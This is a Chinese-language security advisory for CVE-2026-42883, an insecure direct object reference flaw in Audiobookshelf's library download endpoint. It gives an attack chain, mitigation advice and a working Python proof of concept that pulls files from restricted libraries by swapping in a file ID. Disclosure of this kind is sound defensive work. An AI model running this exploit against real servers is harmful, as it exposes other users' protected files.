IPBUF安全漏洞报告
English
CVE-2026-42883 CVSS 6.5 中危

CVE-2026-42883 Audiobookshelf 越权下载漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42883
漏洞类型
越权访问 (IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Audiobookshelf

相关标签

IDOR越权访问信息泄露AudiobookshelfCVSS-6.5

漏洞概述

Audiobookshelf在2.32.2版本前存在越权访问漏洞。攻击者利用GET /api/libraries/:id/download接口的验证逻辑缺陷,仅需拥有任意一个库的下载权限,即可通过修改文件ID参数,下载并窃取任意其他库(包括无权访问库)中的文件内容,导致敏感信息泄露。

技术细节

该漏洞属于典型的不安全的直接对象引用(IDOR)漏洞。漏洞根源在于/api/libraries/:id/download端点的授权逻辑存在缺陷。服务端虽然验证了请求者对URL路径参数:id(即库ID)的访问权限,但在后续获取文件资源时,直接根据攻击者提供的文件ID去数据库检索文件对象,未严格校验该资源是否归属于被授权的库。因此,攻击者只需拥有任意一个库的访问权限,即可利用此接口作为代理,通过控制文件ID参数,遍历并下载服务器上任意其他库(包括被明确拒绝访问的库)中的资源。攻击过程无需高权限,仅需低权限用户身份即可操作,导致服务器上所有受保护的音频文件面临严重泄露风险。

攻击链分析

STEP 1
步骤1:侦察与访问
攻击者注册一个普通账户或使用现有的低权限账户,该账户至少拥有对一个库的下载权限。
STEP 2
步骤2:识别目标ID
攻击者通过API响应或其他方式,推测或获取到目标受限库中文件的ID。
STEP 3
步骤3:构造恶意请求
攻击者构造GET请求至/api/libraries/{有权限的库ID}/download,并将参数中的文件ID替换为目标受限文件的ID。
STEP 4
步骤4:绕过验证下载文件
服务器验证用户对“有权限的库ID”的访问权限通过后,直接根据文件ID提取文件并返回给攻击者,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://localhost:13378" # Attacker's credentials (Low privilege user with access to Library A) auth_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Headers headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Scenario: Attacker has access to Library ID 'lib_01', but wants to download a file from restricted Library 'lib_02' # The endpoint checks access to 'lib_01' but downloads file by its direct ID. # The ID of the library the attacker has access to accessible_library_id = "lib_01" # The ID of the target file belonging to a restricted library (Obtained via enumeration or guessing) target_file_id = "file_secret_id_in_lib_02" # Construct the malicious URL # The server checks access to 'accessible_library_id', then fetches 'target_file_id' exploit_url = f"{target_host}/api/libraries/{accessible_library_id}/download" payload = { "id": target_file_id, # The vulnerable parameter "type": "book" } print(f"[+] Attempting to download file {target_file_id} using library {accessible_library_id} as a pivot...") try: response = requests.get(exploit_url, headers=headers, params=payload, stream=True) if response.status_code == 200: print("[+] Exploit successful! File content received.") filename = f"exfiltrated_{target_file_id}.m4b" with open(filename, "wb") as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"[+] File saved as {filename}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Audiobookshelf < 2.32.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用下载功能或严格限制用户对库的访问权限,直到应用补丁。同时,应监控服务器日志中是否存在针对单个库ID的大量不同文件ID的下载请求。

参考链接